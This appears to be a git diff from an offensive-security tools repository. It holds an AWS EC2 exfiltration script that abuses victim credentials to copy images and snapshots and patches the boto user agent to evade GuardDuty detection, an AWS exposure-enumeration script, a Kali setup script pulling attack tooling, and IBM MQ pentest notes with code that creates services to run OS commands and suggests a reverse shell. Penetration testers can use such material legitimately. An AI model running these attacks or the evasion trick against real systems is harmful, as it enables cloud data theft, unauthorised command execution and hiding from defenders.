config['attacker']['token'] = args.token
Logger.info(f"Using passed Attacker's AWS credentials: ******{args.access_key[-6:]}")
else:
Logger.fatal("Both access key and secret key must be specified for Attacker's AWS credentials if profile was not used!")
if args.victim_profile:
config['victim']['profile'] = args.victim_profile
Logger.info(f"Using victim's profile: {args.victim_profile}")
elif args.victim_access_key and args.victim_secret_key:
config['victim']['access-key'] = args.victim_access_key
config['victim']['secret-key'] = args.victim_secret_key
config['victim']['token'] = args.victim_token
Logger.info(f"Using passed Victim's AWS credentials: ******{args.victim_access_key[-6:]}")
else:
Logger.fatal("Both access key and secret key must be specified for Victim's AWS credentials if profile was not used!")
return args
def monkeyPatchBotocoreUserAgent():
'''
This is to avoid triggering GuardDuty 'PenTest:IAMUser/KaliLinux' alerts
Source:
https://www.thesubtlety.com/post/patching-boto3-useragent/
'''
import sys
import boto3
import botocore
try:
from _pytest.monkeypatch import MonkeyPatch
except (ImportError, ModuleNotFoundError) as e:
print('[!] Please install "pytest" first: pip3 install pytest')
print('\tthis will be used to patch-up boto3 library to avoid GuardDuty Kali detection')
sys.exit(0)
monkeypatch = MonkeyPatch()
def my_user_agent(self):
return "Boto3/1.9.89 Python/2.7.12 Linux/4.2.0-42-generic"
monkeypatch.setattr(botocore.session.Session, 'user_agent', my_user_agent)
def main(argv):
opts = parseOptions(argv)
if not opts:
Logger.err('Options parsing failed.')
return False
monkeyPatchBotocoreUserAgent()
exp = ExfiltrateEC2(
opts.region,
config['attacker'],
config['victim'],
)
if opts.method == 'createimage':
Logger.info("Abusing ec2:CreateImage...")
exp.create_image(opts.instance_id, opts.image_name, opts.image_desc)
elif opts.method == 'createsnapshot':
Logger.out("Abusing dangerous ec2:CreateSnapshot and ec2:ModifySnapshotAttribute...\n")
exp.create_snapshot(opts.attach_instance_id, opts.volume_id, opts.availability_zone)
else:
Logger.fatal(f"Unknown method specified: {opts.method}")
if __name__ == '__main__':
main(sys.argv)

View File

@ -0,0 +1,105 @@
#!/bin/bash
#
# This script attempts quickly enumerate some of the exposed resources
# available given a set of AWS credentials.
# Based on excellent work of Scott Piper:
# https://duo.com/blog/beyond-s3-exposed-resources-on-aws
#
if [ $# -lt 1 ]; then
echo "Usage: ./find-exposed-resources.sh <profile-name> [region]"
echo ""
echo "If region is not specified, will enumerate all regions."
exit 1
fi
PROFILE=$1
REGION=
if [[ "$2" != "" ]]; then
REGION="$2"
fi
trap ctrl_c INT
function ctrl_c() {
echo "[!] User interrupted script execution."
exit 1
}
function _aws() {
if [[ "$REGION" != "" ]]; then
#echo "aws --region $REGION --profile $PROFILE $@ --no-paginate"
aws --region $REGION --profile $PROFILE $@ --no-paginate
else
#echo "aws --profile $PROFILE $@ --no-paginate"
aws --profile $PROFILE $@ --no-paginate
fi
}
function ebs_snapshots() {
out=$(_aws ec2 describe-snapshots --owner-id self --restorable-by-user-ids all)
if ! echo "$out" | grep -q '": \[\]'; then
echo "---[ Public EBS Snapshots"
echo "$out"
echo
fi
}
function rds_snapshots() {
out=$(_aws rds describe-db-snapshots --snapshot-type public)
if ! echo "$out" | grep -q '": \[\]'; then
echo "---[ Public RDS Snapshots"
echo "$out"
echo
fi
}
function ami_images() {
out=$(_aws ec2 describe-images --owners self --executable-users all)
if ! echo "$out" | grep -q '": \[\]'; then
echo "---[ Public RDS Snapshots"
echo "$out"
echo
fi
}
function s3_buckets() {
echo "---[ Public S3 Buckets"
for bucket in $(_aws s3api list-buckets --query 'Buckets[*].Name' --output text)
do
pub=$(_aws s3api get-bucket-policy-status --bucket $bucket --query 'PolicyStatus.IsPublic' 2> /dev/null || echo 'false')
echo -n "IsPublic:"
if [[ "$pub" == "true" ]]; then
echo -en "\e[91m"
else
echo -en "\e[34m"
fi
echo -e "$pub\e[39m - Bucket: \e[93m$bucket\e[39m"
done
echo
}
regions=$(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text)
if [[ "$REGION" == "" ]]; then
for region in ${regions[@]}
do
REGION="$region"
echo "=================== Region: $region ======================"
echo
ebs_snapshots
rds_snapshots
ami_images
done
echo
else
echo "=================== Region: $REGION ======================"
echo
ebs_snapshots
rds_snapshots
ami_images
echo
fi
s3_buckets

View File

@ -6,6 +6,6 @@ $ ./find-nessus-plugin.sh 62940
/opt/nessus/lib/nessus/plugins/iis_ftp7_ms12-073.nasl
```
- **`openvas-automate.sh`** - OpenVAS automation script. ([gist](https://gist.github.com/mgeeky/a038f809dff4d308db94f5f657908da7))
- **`openvas-automate.sh`** - A simple OpenVAS scanner automation script. If you want to use your custom defined scan type - you'll need to edit script's code, especially `targets` array and `if` decision statement in lines 111-137. [gist](https://gist.github.com/mgeeky/a038f809dff4d308db94f5f657908da7)
- **`prepare-kali.sh`** - A script that supplies fresh Kali installation with set of initial packages, configurations, wordlists (`/root/data`) and a big repository of tools I've found useful (located in `/root/tools`). ([gist](https://gist.github.com/mgeeky/39d1681e44804f089d1553cc7597e628))

View File

@ -1,4 +1,20 @@
#!/bin/bash
#
# This is script intended for provisioning vanilla Kali installation with a bunch
# of additional packages, tools and dictionaries. Basically useful for not-so-quick (+/- 4hours)
# provisioning of Kali distro intended for some heavy pentesting purposes.
#
# Assumptions made:
# - script must be totally non-interactive, capable of provisioning Kali system without any
# further user interaction (especially true for apt-get Y/n prompts)
# - issues with tool installation/setup are acceptable, after all need arise - the pentester
# will have to carry off the setup himself
# - issues with unavailable repositories/packages are NOT acceptable. I need to either take care of
# keeping tools list more or less up-to-date, or to remove tool's pull down entirely from the script
# - only tools that I've found useful at least once are landing in this script.
#
# Mariusz B., '18-'19
#
# Well, entire Kali installation assume that we are normally working as root on our Kali.
# I know that assumption sucks to its root, but I wanted to avoid every "permission denied" issue and I was too lazy
@ -24,11 +40,12 @@ install_dotnet() {
}
install_docker() {
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-
echo 'deb https://download.docker.com/linux/debian stretch stable' > /etc/apt/sources.list.d/docker.list
apt update
apt-get remove -y docker docker-engine docker.io
apt-get install -y docker-ce
#curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-
#echo 'deb https://download.docker.com/linux/debian stretch stable' > /etc/apt/sources.list.d/docker.list
#apt update
#apt-get remove -y docker docker-engine docker.io
#apt-get install -y docker-ce
apt install -y docker docker-compose
docker run hello-world
}
@ -42,11 +59,14 @@ configure_neo4j() {
curl -H "Content-Type: application/json" -X POST -d '{"password":"neo4jj"}' -u neo4j:neo4j http://localhost:7474/user/neo4j/password
}
apt update ; apt upgrade -y
export DEBIAN_FRONTEND=noninteractive
apt install -y git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang python-software-properties neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient
apt-get update ; apt upgrade -y
apt-get update --fix-missing
pip3 install virtualenv awscli wheel boto3 botocore btlejack
apt install -yq -m git build-essential binutils-dev vim python3 libunwind-dev python unzip python-pip python3-pip python3-venv python3-setuptools libssl-dev autoconf automake libtool python2.7-dev python3.7-dev python3-tk jq awscli npm graphviz golang neo4j libgconf-2-4 bloodhound lftp chromium heimdal-clients python-ldap rdate pcregrep lftp mingw-w64 bluetooth bluez libbluetooth-dev libudev-dev p7zip git ca-certificates build-essential libreadline5 libreadline-dev libusb-0.1-4 libusb-dev perl pkg-config wget libncurses5-dev gcc-arm-none-eabi libstdc++-arm-none-eabi-newlib libqt4-dev libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev bettercap oscanner tnscmd10g samba samba-common smbclient unrar libnfc-bin autoconf libnfc-dev tox libmariadb-dev python-m2crypto
pip3 install virtualenv awscli wheel boto3 botocore btlejack six
pip2 install virtualenv wheel boto3 botocore pyinstaller lxml pyip ansi2html
install_dotnet
@ -77,12 +97,14 @@ mkdir {bruteforce,clouds,devops,deserialization,exploitdev,windows,redteam,recon
git_clone https://github.com/mgeeky/Penetration-Testing-Tools
# =======================================================================================
pushd bruteforce
git_clone https://github.com/lanjelot/patator.git
git_clone https://github.com/galkan/crowbar.git
git clone --depth=1 --branch=master https://www.github.com/landgrey/pydictor.git && chmod 755 pydictor/pydictor.py
popd
# =======================================================================================
pushd clouds
mkdir {aws,azure,gcp,kubernetes}
@ -99,7 +121,9 @@ cd aws
git_clone https://github.com/RhinoSecurityLabs/pacu.git ; cd pacu ; bash install.sh ; cd ..
git_clone https://github.com/Alfresco/prowler.git
git_clone https://github.com/sa7mon/S3Scanner.git
git_clone https://github.com/percolate/ec2-security-groups-dumper.git
git_clone https://github.com/ankane/s3tk.git
git_clone https://github.com/andresriancho/enumerate-iam
git_clone https://github.com/arkadiyt/aws_public_ips.git
git_clone go get github.com/haccer/subjack.git
git_clone https://github.com/Skyscanner/lambdaguard.git
@ -131,6 +155,7 @@ git_clone https://github.com/carnal0wnage/weirdAAL.git ; cd weirdAAL ; apt-get i
cd ..
popd
# =======================================================================================
pushd deserialization
git_clone https://github.com/matthiaskaiser/jmet.git
git_clone https://github.com/joaomatosf/JavaDeserH2HC.git
@ -141,12 +166,14 @@ git_clone https://github.com/joaomatosf/jexboss.git
wget 'https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar' -O ysoserial/ysoserial.jar
popd
# =======================================================================================
pushd devops
git clone --recurse-submodules -b develop https://github.com/torque59/Garfield.git
git_clone https://github.com/wavestone-cdt/hadoop-attack-library.git
wget https://raw.githubusercontent.com/n0tty/Random-Hacking-Scripts/master/pwnsible.sh ; chmod +x pwnsible.sh
popd
# =======================================================================================
pushd exploitdev
git_clone https://github.com/sashs/Ropper.git
git_clone https://github.com/longld/peda.git
@ -155,6 +182,7 @@ git_clone https://github.com/packz/ropeme.git
git_clone https://github.com/mgeeky/Exploit-Development-Tools.git
popd
# =======================================================================================
pushd hardware
git_clone https://github.com/DrSchottky/mfcuk.git
cd mfcuk
@ -170,10 +198,11 @@ git_clone https://github.com/nfc-tools/miLazyCracker.git
cd miLazyCracker
wget http://crapto1.netgarage.org/craptev1-v1.1.tar.xz
wget http://crapto1.netgarage.org/crapto1-v3.3.tar.xz
sed -ir 's/apt-get install/apt-get install -y/' miLazyCrackerFreshInstall.sh
./miLazyCrackerFreshInstall.sh
cd ..
git_clone https://github.com/RfidResearchGroup/proxmark3.git
apt-get remove modemmanager
apt-get remove -y modemmanager
cd proxmark3
make clean && make -j8 all
cd ..
@ -186,6 +215,7 @@ npm install -g gattacker
git_clone https://github.com/virtualabs/btlejack.git
popd
# =======================================================================================
pushd infra
git_clone https://github.com/bonsaiviking/NfSpy.git
git_clone https://github.com/lgandx/Responder.git
@ -194,6 +224,13 @@ git_clone https://github.com/fox-it/mitm6.git
git_clone https://github.com/lgandx/PCredz.git
git_clone https://github.com/DanMcInerney/net-creds.git
git_clone https://github.com/rofl0r/proxychains-ng.git
git_clone https://github.com/cisco-config-analysis-tool/ccat.git
cd ccat
wget https://github.com/cisco-config-analysis-tool/ccat/releases/download/v1.01/ccat_v1.01.rar
mkdir ccat-release
unrar x ccat_v1.01.rar ccat-release
rm ccat_v1.01.rar
cd ..
git_clone https://github.com/brav0hax/smbexec.git
git_clone https://github.com/inquisb/icmpsh.git
git_clone https://github.com/tomac/yersinia.git
@ -204,6 +241,7 @@ git_clone https://github.com/SpiderLabs/ikeforce.git
git_clone https://github.com/EnableSecurity/sipvicious.git
popd
# =======================================================================================
pushd fuzzers
git_clone https://github.com/googleprojectzero/domato.git
wget http://www.immunitysec.com/downloads/SPIKE2.9.tgz ; tar -xvzf SPIKE2.9.tgz ; rm SPIKE2.9.tgz
@ -226,11 +264,13 @@ git_clone https://github.com/OpenRCE/sulley.git
git_clone https://github.com/renatahodovan/grammarinator.git
popd
# =======================================================================================
pushd linux
git_clone https://github.com/Arr0way/linux-local-enumeration-script.git
git_clone https://github.com/CISOfy/lynis.git
popd
# =======================================================================================
pushd misc
git_clone https://github.com/nullsecuritynet/tools.git
git_clone https://github.com/leebaird/discover.git
@ -242,10 +282,12 @@ git_clone https://github.com/wireghoul/graudit.git
git_clone https://github.com/netbiosX/Checklists.git
popd
# =======================================================================================
pushd privesc
git_clone https://github.com/AusJock/Privilege-Escalation.git
popd
# =======================================================================================
pushd recon
git_clone https://github.com/FortyNorthSecurity/EyeWitness.git
git_clone https://github.com/OWASP/Amass.git
@ -253,7 +295,7 @@ git_clone https://github.com/michenriksen/gitrob.git
git_clone https://github.com/kpcyrd/sn0int.git
git_clone https://github.com/darkoperator/dnsrecon.git
git_clone https://github.com/smicallef/spiderfoot.git
git_clone https://bitbucket.org/LaNMaSteR53/recon-ng.git ; cd recon-ng ; pip install -r REQUIREMENTS ; cd ..
git_clone https://github.com/lanmaster53/recon-ng.git ; cd recon-ng ; pip install -r REQUIREMENTS ; cd ..
git_clone https://github.com/infosec-au/altdns.git
git_clone https://github.com/jhaddix/domain.git
mv domain jhaddix-enumall
@ -276,6 +318,7 @@ git_clone https://github.com/michenriksen/aquatone.git
git_clone https://github.com/dxa4481/truffleHog.git
popd
# =======================================================================================
pushd redteam
git_clone https://github.com/jaredhaight/PSAttack.git
cd PSAttack
@ -300,17 +343,24 @@ git_clone https://github.com/sensepost/ruler.git
git_clone https://github.com/Veil-Framework/Veil.git
git_clone https://github.com/Veil-Framework/Veil-Evasion.git
git_clone https://github.com/pentestgeek/phishing-frenzy.git
git_clone https://github.com/byt3bl33d3r/SprayingToolkit.git
git_clone https://github.com/trustedsec/social-engineer-toolkit.git
git_clone https://github.com/bluscreenofjeff/Malleable-C2-Randomizer.git
git_clone https://github.com/sensepost/ruler.git
cd ruler
wget https://github.com/sensepost/ruler/releases/latest/download/ruler-win64.exe
wget https://github.com/sensepost/ruler/releases/latest/download/ruler-linux32.exe
wget https://github.com/sensepost/ruler/releases/latest/download/ruler-linux64.exe
cd ..
git_clone https://github.com/rsmudge/Malleable-C2-Profiles.git
git_clone https://github.com/sense-of-security/ADRecon.git
git_clone https://github.com/threatexpress/malleable-c2.git
git_clone https://github.com/ropnop/kerbrute.git
cd kerbrute
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.1/kerbrute_windows_amd64.exe
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.1/kerbrute_windows_386.exe
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.1/kerbrute_linux_amd64
wget https://github.com/ropnop/kerbrute/releases/download/v1.0.1/kerbrute_linux_386
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_windows_amd64.exe
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_windows_386.exe
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64
wget https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_386
chmod +x kerbrute_*
cd ..
git_clone https://github.com/Raikia/CredNinja.git
@ -354,9 +404,9 @@ wget https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Ingestors/
cd ..
git_clone https://github.com/BloodHoundAD/BloodHound.git
cd BloodHound
wget https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-linux-x64.zip
wget https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-win32-x64.zip
wget https://github.com/BloodHoundAD/BloodHound/releases/download/2.1.0/BloodHound-win32-ia32.zip
wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-linux-x64.zip
wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-win32-x64.zip
wget https://github.com/BloodHoundAD/BloodHound/releases/latest/download/BloodHound-win32-ia32.zip
for a in *.zip ; do
unzip -d . $a
rm $a
@ -383,18 +433,24 @@ git_clone https://github.com/gentilkiwi/mimikatz.git
git_clone https://github.com/brav0hax/smbexec.git
git_clone https://github.com/SecureAuthCorp/impacket.git
cd impacket ; mkdir binaries ; cd binaries ;
wget https://github.com/ropnop/impacket_static_binaries/releases/download/0.9.19-binaries/impacket_windows_binaries.zip
wget https://github.com/ropnop/impacket_static_binaries/releases/latest/download/impacket_windows_binaries.zip
unzip -d . impacket_windows_binaries.zip
rm impacket_windows_binaries.zip
wget https://github.com/ropnop/impacket_static_binaries/releases/download/0.9.19-binaries/impacket_linux_binaries.tar.gz
wget https://github.com/ropnop/impacket_static_binaries/releases/latest/download/impacket_linux_binaries.tar.gz
tar xzf impacket_linux_binaries.tar.gz
rm impacket_linux_binaries.tar.gz
python setup.py install
cd ../../
git_clone https://github.com/rasta-mouse/Watson.git
git_clone https://github.com/pimps/wsuxploit.git
cd wsuxploit
git_clone https://github.com/ctxis/wsuspect-proxy.git
cd ..
popd
# =======================================================================================
pushd reversing
wget https://ghidra-sre.org/ghidra_9.0_PUBLIC_20190228.zip -O ghidra.zip ; unzip -d . ghidra.zip ; rm ghidra.zip
git_clone https://github.com/longld/peda.git ; echo "source $ROOT_DIR/tools/reversing/peda/peda.py" >> $ROOT_DIR/.gdbinit ;
@ -402,22 +458,26 @@ git_clone https://github.com/hugsy/gef.git
git_clone https://github.com/radare/radare2.git ; cd radare2 ; sys/install.sh ; r2pm init ; r2pm update ; pip install r2pipe ; cd ..
popd
# =======================================================================================
pushd shells
git_clone https://github.com/BlackArch/webshells.git
git_clone https://github.com/Ne0nd0g/merlin.git
popd
# =======================================================================================
pushd sourceaudit
git_clone https://github.com/presidentbeef/brakeman.git
git_clone https://github.com/wireghoul/graudit.git
popd
# =======================================================================================
pushd ssl
git_clone https://github.com/rbsec/sslscan.git
git clone --depth 1 https://github.com/drwetter/testssl.sh.git
git_clone https://github.com/tomato42/tlsfuzzer.git
popd
# =======================================================================================
pushd web
git_clone https://github.com/mgeeky/tomcatWarDeployer.git
git_clone https://github.com/codingo/NoSQLMap.git
@ -426,10 +486,9 @@ git_clone https://github.com/droope/droopescan.git
git_clone https://github.com/enjoiz/XXEinjector.git
git_clone https://github.com/breenmachine/httpscreenshot.git
git_clone https://github.com/beefproject/beef/ ; pushd beef ; yes | ./install ; popd
git_clone https://github.com/mitmproxy/mitmproxy.git
git_clone https://github.com/sqlmapproject/sqlmap.git
mkdir aquatone ; cd aquatone
wget https://github.com/michenriksen/aquatone/releases/download/v1.6.0/aquatone_linux_amd64_1.6.0.zip
wget https://github.com/michenriksen/aquatone/releases/latest/download/aquatone_linux_amd64_1.6.0.zip
unzip -d . aquatone_linux_amd64_1.6.0.zip
rm aquatone_linux_amd64_1.6.0.zip
chmod +x aquatone
@ -461,6 +520,7 @@ git_clone https://github.com/NickstaDB/BaRMIe.git
git_clone https://github.com/torque59/Nosql-Exploitation-Framework.git
popd
# =======================================================================================
pushd windows
git_clone https://github.com/M4ximuss/Powerless.git
git_clone https://github.com/SecWiki/windows-kernel-exploits.git
@ -477,6 +537,7 @@ pyinstaller --onefile winpwnage.py
cd ..
popd
# =======================================================================================
pushd wireless
git_clone https://github.com/brav0hax/easy-creds.git
git_clone https://github.com/s0lst1c3/eaphammer.git ; cd eaphammer ; yes | ./kali-setup ; cd ..
@ -484,6 +545,7 @@ git_clone https://github.com/derv82/wifite2.git ; cd wifite2 ; python setup.py i
popd
# =======================================================================================
#
# Follow repos, collect 'requirements.txt' files and feed them into `pip install`.
# We avoid the hassle of using virtualenv here and there.
@ -500,6 +562,8 @@ find . -name .git | while read line; do
popd
done
if ! grep -q "function killallbyname() {" $ROOT_DIR/.bashrc ; then
# Append some stuff to bashrc
cat <<'EOF' >> $ROOT_DIR/.bashrc
@ -773,7 +837,10 @@ alias eslintjs='eslint --no-eslintrc -c ~/.eslintrc.js .'
alias unblock_dir='sudo chmod -R 755'
alias block_dir='sudo chmod -R 700'
alias recursivegitpull='find . -mindepth 1 -maxdepth 1 -type d -print -exec git -C {} pull \;'
alias recursivegitpull='find . -name ".git" -type d -exec echo {} \; -exec git -C {}/.. pull \;'
alias gitclone='git clone --recurse-submodules'
EOF
sed -i -r "s:~/:$ROOT_DIR/:" $ROOT_DIR/.bashrc
fi

View File

@ -0,0 +1,199 @@
# Practical IBM MQ Penetration Testing notes
In order to interact with IBM MQ in any way, we need to install IBM MQ Client libraries, available only on IBM website. Account registration will be required to get hands on them.
### Step 1: Installing prerequisities
**Pre-requisites: IBM MQ Client**
1. Download the [IBM MQ V9.0.0.4 LTS Clients](http://ibm.biz/mq9004clients) - the file should be named: `9.0.0.4-IBM-MQC-LinuxX64.tar.gz` (_9.0.0.4 Client install image for IBM MQ on Linux X86-64_) - size: 397MB
2. Extract it to whatever directory.
3. Install debian/Kali/Ubuntu pre-requisities `apt install -y python-dev rpm`
4. Accept the license: `sudo ./mqlicense.sh -accept` or `sudo ./mqlicense.sh -text_only`
5. Do the following:
```
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
```
### **Step 2: Pymqi & punch-q**
Having properly installed all of the MQ Client dependencies, we can now proceed to installing `pymqi` and `punch-q`:
1. Clone the punch-q repo: `git clone https://github.com/sensepost/punch-q`
2. Install them:
```
# pip install pymqi
# pip install -r requirements.txt
# python setup.py install
```
3. Before using `punch-q` specify MQ libraries path:
Either globally:
```
# sudo echo /opt/mqm/lib64 > /etc/ld.so.conf.d/mqm.x86_64.conf
# sudo ldconfig -v
```
or temporarily:
```
# export LD_LIBRARY_PATH=/opt/mqm/lib64
```
**One stop shop script installing IBM MQ Client libraries**
Assuming we have `9.0.0.4-IBM-MQC-LinuxX64.tar.gz` file in our current directory, following script applies on Kali x64 linux:
```
apt install -y python-dev rpm pcregrep
tar -xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
pcregrep -vM '(?:echo "\s+This package was built for \$\{BUILD_PLATFORM\}")\n\s*exit 1' mqlicense.sh > /tmp/mqlicense.sh
cat /tmp/mqlicense.sh > mqlicense.sh
rm /tmp/mqlicense.sh
yes | sudo ./mqlicense.sh -accept
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
pip install pymqi
echo /opt/mqm/lib64 > /etc/ld.so.conf.d/mqm.x86_64.conf
sudo ldconfig -v
ls | grep -v 9.0.0.4-IBM-MQC-LinuxX64.tar.gz | xargs rm -rf
git clone https://github.com/sensepost/punch-q
cd punch-q
pip install -r requirements.txt
python setup.py install
```
## Step 2: Handy notes on where to focus
**Internally:**
Having found several running processes with names such as:
`amqsvc.exe`, `amqxssvn.exe`, `amqrrmfa.exe`, `amqmtbrn.exe`
These processes will be running impersonated as highly privileged service user name (according to the usernames table available below, at 2) . These users will act as local SAM users, which means we might be able to dump their NTLM passwords and crack them or even change them to whatever value we wish to facilitate successful IBM MQ server authentication.
**Externally:**
By using `punch-mq` we can:
1) Discover/Brute-Force available CHANNELS,
2) Enumerate usernames (valid UserId fields)
3) Enumerate Queue Manager names
4) List available Channels or Queues as an authenticated user.
5) PUT, GET, Dump, Save, Sniff messages given an existent QUEUE name, as an authenticated user
6) Issue OS Commands by the use of `PCFExecute` functionality
In order to successfully authenticate to the IBM MQ server, we will need to have upfront following informatio prepared:
- Hostname/IP address
- TCP Port, typically `1414/tcp`
- Queue Manager name - easily obtained by the use of nmap scripts: `nmap -p 1414 -sV <host>`
- Channel name (can be one of the below listed), at first start with: `SYSTEM.ADMIN.SVRCONN`
- Username (list of default system usernames below)
- Password
Incorrect access credentials will result in `pymqi` returning following response:
```
pymqi.MQMIError: MQI Error. Comp: 2, Reason 2035: FAILED: MQRC_NOT_AUTHORIZED
```
### 1) Default channel names:
_(in order to view system objects - click "Show System Objects" on upper right side of the MQ Explorer interface)_
```
SYSTEM.ADMIN.SVRCONN
SYSTEM.AUTO.SVRCONN
SYSTEM.DEF.SVRCONN
SYSTEM.DEF.SERVER
SYSTEM.DEF.CLNTCONN
```
### 2) Default Userid's depending on target OS version:
| OS Version | UserId |
|----------------|--------------|
| Linux/Unix/AIX | mqm |
| Windows | MUSR_MQADMIN |
| Other | mqadmin |
### 5) Important Administration QUEUE names:
```
SYSTEM.ADMIN.COMMAND.QUEUE
SYSTEM.DEFAULT.MODEL.QUEUE
SYSTEM.AUTH.DATA.QUEUE
```
### 6) Remote Code Execution
**6.1. Programmable Command Format (PCF) Services**
Being authenticated to the Queue Manager and a corresponding channel, we might be able to execute PCF (_Programmable Command Format_) commands (on MQ v6+) that would give us OS command execution by the use a concept called _services_:
- `MQCMD_CREATE_SERVICE`,
- `MQCMD_START_SERVICE`,
- `MQCMD_STOP_SERVICE`,
- `MQCMD_DELETE_SERVICE`
That holds true as long as our impersonated user has sufficient permissions within OAM (Object Authority Manager) to perform requested PCF operation on the relevant objects.
Using `pymqi` or `punch-mq` this is as simple as invoking following code (source: [punch-mq](https://github.com/sensepost/punch-q/blob/master/libpunchq/cli.py) ):
```
# create service
qmgr = pymqi.connect(mqstate.qm_name, mqstate.channel, mqstate.get_host(),
mqstate.username, mqstate.password)
args = {
pymqi.CMQC.MQCA_SERVICE_NAME: service_name,
pymqi.CMQC.MQIA_SERVICE_CONTROL: pymqi.CMQC.MQSVC_CONTROL_MANUAL,
pymqi.CMQC.MQIA_SERVICE_TYPE: pymqi.CMQC.MQSVC_TYPE_COMMAND,
pymqi.CMQC.MQCA_SERVICE_START_COMMAND: str(cmd),
pymqi.CMQC.MQCA_SERVICE_START_ARGS: str(args)
}
pcf = pymqi.PCFExecute(qmgr)
pcf.MQCMD_CREATE_SERVICE(args)
# start the service
args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}
pcf = pymqi.PCFExecute(qmgr)
pcf.MQCMD_START_SERVICE(args)
# Giving the service some time to live
time.sleep(wait)
# delete service
args = {pymqi.CMQC.MQCA_SERVICE_NAME: service_name}
pcf = pymqi.PCFExecute(qmgr)
pcf.MQCMD_DELETE_SERVICE(args)
qmgr.disconnect()
```
Incomming command will then be executed most likely as a root user. `punch-mq` does not implement any way of getting command's result back so we will have to go blindly here, preferably just using reverse-shell oneliner.
If we wish to have our commands' results back, then more code will need to be added facilitating specification of output Queue where PCF should PUT it's results, then manual Queue read by the use of GET operation to retrieve OS command's outcome. Such a Queue could be created based on `SYSTEM.DEFAULT.MODEL.QUEUE` template. Martyn Ruks goes in details on that in his paper (ref: 1, page 24).
**6.2. Use of Triggers**
Martyn Ruks described (ref: 1, page 30) that we may also succeed invoking system commands by defining event triggers that would execute specified command as soon as preconfigured event fired up our malicious trigger.
## Additional sources
1. [Martyn Ruks: WebSphere MQ Security. White Paper Part 1](https://labs.f-secure.com/assets/141/original/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf)
2. [Martyn Ruks: MQ Jumping](https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
3. [punch-q](https://github.com/sensepost/punch-q)
4. [pymqi installation issue](https://github.com/dsuch/pymqi/issues/15#issuecomment-124772995)
5. [mini-reverse.ps1 script designed by @staaldraad](https://gist.github.com/mgeeky/fc11c9f227755a529eb607ed4d1742f9)
## Additional sources
1. [Martyn Ruks: WebSphere MQ Security. White Paper Part 1](https://labs.f-secure.com/assets/141/original/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf)
2. [Martyn Ruks: MQ Jumping](https://www.defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
3. [punch-q](https://github.com/sensepost/punch-q)
4. [pymqi installation issue](https://github.com/dsuch/pymqi/issues/15#issuecomment-124772995)

View File

@ -112,12 +112,16 @@ Hostname: 10.10.10.9
- **`HSRPFlooder.py`** - Proof of concept _HSRP Coup State: Active_ flooder, trying to provoke Denial of Service within LAN segment due to tunnelling packets to the non-existent gateway that won active-router election. Not working stabily at the moment.
- **`IBM-MQ-Pentesting-notes.md`** - Busy-man's Practical IBM MQ Penetration Testing cheatsheet, equipped with a couple of handy tips and punch-q installation walkthrough. ([gist](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec))
- **`iis_webdav_upload.py`** - Microsoft IIS WebDAV Write Code Execution exploit (based on Metasploit HDM's <iis_webdav_upload_asp> implementation). ([gist](https://gist.github.com/mgeeky/ce179cdbe4d8d85979a28c1de61618c2))
- **`libssh-auth-bypass.py`** - CVE-2018-10993 libSSH authentication bypass exploit
- **`networkConfigurationCredentialsExtract.py`** - Network-configuration Credentials extraction script - intended to sweep input configuration file and extract keys, hashes, passwords. ([gist](https://gist.github.com/mgeeky/861a8769a261c7fc09a34b7d2bd1e1a0))
- **`nmap-christmas-tree.sh`** - Simple script looking for discrepancies between known-to-be listening TCP port and known-to-be closed one as seen from varying scan strategies.
- **`nmap-grep-to-table.sh`** - Script converting nmap's greppable output (-oG) into a printable per-host tables. ([gist](https://gist.github.com/mgeeky/cd3092cf60fd513d786286a21c6fa915))
- **`nmap-scan-all.sh`** - Simple script to launch nmap scans against given target, using specific options and scripts set.

View File

@ -3,8 +3,9 @@
#
# Script intendend to sweep Cisco, Huawei and possibly other network devices
# configuration files in order to extract plain and cipher passwords out of them.
# Equipped with functionality to decrypt Cisco Type 7 passwords.
#
